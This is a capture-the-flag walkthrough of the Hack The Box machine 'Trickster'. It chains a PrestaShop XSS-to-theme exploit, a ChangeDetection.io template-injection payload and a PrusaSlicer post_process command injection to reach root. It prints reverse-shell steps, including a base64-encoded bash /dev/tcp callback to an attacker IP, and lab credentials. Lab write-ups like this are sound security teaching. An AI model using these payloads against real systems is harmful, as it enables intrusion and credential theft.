Trickster HTB
by kpax
NMAP
# Nmap 7.94SVN scan initiated Mon Sep 23 10:03:44 2024 as: nmap -p- --min-rate 10000 -oA nmap/trickster-allports -v0 10.129.231.135
Nmap scan report for 10.129.231.135
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Sep 23 10:03:51 2024 -- 1 IP address (1 host up) scanned in 6.80 seconds
Credentials
ps_user:prest@shop_o # MYSQL DB Creds from PrestaShop
james:alwaysandforever # From DB. Works for SSH
root:#YouC4ntCatchMe# # Found in History of docker container
Foothold
On the Trickster website we find a link to a shop, with a subdomain of shop.trickster.htb

This leads us to a store front powered by Presta Shop

A gobuster scan reveals a .git folder

We can download this repository to our local machine with Git Dumper
git-dumper http://shop.trickster.htb/.git/ .

The Git Log shows one commit and we see that the /admin directory has been changed to /admin634ewutrx1jgitlooaj

Browsing to this, we get a login panel and the version of Presta Shop that is running.

Some googling leads us to this writeup of a XSS vulnerability, that can be chained together to install a malicious theme and enable code execution.
We download the POC from Github.
Now we need to make some changes to the code.
First, our reverse_shell.php file needs our listening machine’s IP and port

Now we need to update the reverse_shell.php file in our malicious theme.
zip ps_next_8_theme_malicious.zip reverse_shell.php
Now, as I have my own Netcat listener spun up on port 9001, I don’t need the one the python script creates. So comment out those lines in exploit.py

Now we need to update the exploit.html file that will be read by our target user when they click on our message in the admin panel.

const baseUrl = 'http://shop.trickster.htb';
const path = 'admin634ewutrx1jgitlooaj';
const httpServerIp = '<YOUR IP>';
const httpServerPort = 8001;
const fileNameOfTheme = "ps_next_8_theme_malicious.zip";
Setup a nc listener on port 9001 and a http.server on port 8000, in the directory that the malicious file resides. Then run the exploit and enter the details as prompted.

Once you see your webserver get a hit, browser to http://shop.trickster.htb/themes/next/reverse_shell.php to execute the reverse shell file and get your shell.

Shell as www-data
Elevate to a stable shell.
Within the /var/www/html/prestashop/app/config directory is a parameters.php file that contains the mysql database credentials.

ps_user:prest@shop_o
Within the database are two tables with hashes, ps_customer and ps_employee. Only ps_employee has a hash that will crack and that is james
james@trickster.htb:$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm

james:alwaysandforever
These credentials work for ssh
Shell as james
We see that docker is running on the machine

We can’t access docker, but we can see a container is running

Docker takes it’s IPs from the docker0 network. So the first ip should be 1272.17.0.2
We can port scan this IP using python.
import socket
import threading
# Target IP address
target_ip = '172.17.0.2'
# Lock for threading to print results safely
print_lock = threading.Lock()
# Function to scan a single port
def scan_port(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1) # Timeout for socket
try:
s.connect((target_ip, port))
with print_lock:
print(f"Port {port} is open")
except:
pass # Ignore closed ports
finally:
s.close()
# Function to start threads
def start_scan():
threads = []
for port in range(1, 65536): # Scan all ports from 1 to 65535
thread = threading.Thread(target=scan_port, args=(port,))
threads.append(thread)
thread.start()
# Limit number of active threads for performance (e.g., 100 threads at a time)
if len(threads) >= 100:
for t in threads:
t.join()
threads = []
# Wait for remaining threads to finish
for t in threads:
t.join()
if __name__ == "__main__":
start_scan()
Port 5000 is open.

If we forward this to our machine, we can access it using Jame’s password. It is ChangeDetection.io

We find this POC for a SSTI Vuln.
Spin up a python webserver and create a basic index.html file serve.
Create a new watch for a python webserver on our machine

Click Edit and go to the notifications tab.
Enter get://10.10.14.2:8000 in the URL List (Change to your IP)
Give a Title and enter the body as below (Change poopen command to your own)
| {% for x in ().class.base.subclasses() %}{% if “warning” in x.name %}{{ x()._module.builtins‘import’.popen(“echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMi85MDAxICAwPiYx | base64 -d | bash”).read() }}{% endif %}{% endfor %} |

Save and change the content of your served HTML file and force a recheck. The notification should fire and give you a shell on the docker container.
If we check the history command, we see the following text at the top. This is the root password for the box.

#YouC4ntCatchMe#
Shell as Adam (From Root)
Adam can run the following command with sudo

PrusaSlicer has a vulnerability whereby, any command entered into the post_process setting, will be run at the end of an execution.
PrusaSlicer takes 3mf files, which are zip files that describe a 3D object. We have a sample file in the /opt/PrusaSlicer directory, so we can modify this to run our code.
First, copy the file to your machine and unzip it.
Then modify two lines in the Metadata/Slic3r_PE.config file
Change the below line output_filename_format so it matches the below. The original line makes the execution error, before we get to out post_process section.
; output_filename_format = {input_filename_base}.gcode
Next, change the post_process line to run some code. An example to copy the root flag is below.
; post_process = "cat /root/root.txt > /tmp/pwn #"
Now add the changed file, back into the 3mf file
zip TRICKSTER.3mf Metadata/Slic3r_PE.config
Copy the file back to the target server and run it using Adam’s sudo privs and the root flag will be available under /tmp/pwn
sudo /opt/PrusaSlicer/prusaslicer -s /tmp/TRICKSTER.3mf


Full NMAP
# Nmap 7.94SVN scan initiated Mon Sep 23 10:03:51 2024 as: nmap -p 22,80 -sC -sV -oA nmap/trickster -vv 10.129.231.135
Nmap scan report for 10.129.231.135
Host is up, received echo-reply ttl 63 (0.026s latency).
Scanned at 2024-09-23 10:03:52 BST for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCk493Dw3qOjrvMEEvPT6uj4aIc7vb9chLLQr0Wzjiaf8hZ1yXMO6kwPuBjNaP6GouvFd0L7UnpacFnIqkQ9GOk=
| 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ3pOUJRCVS6Y1fhIFs4QlMFAh2S8pCDFUCkAfaQFoJw
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://trickster.htb/
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 23 10:03:59 2024 -- 1 IP address (1 host up) scanned in 8.06 seconds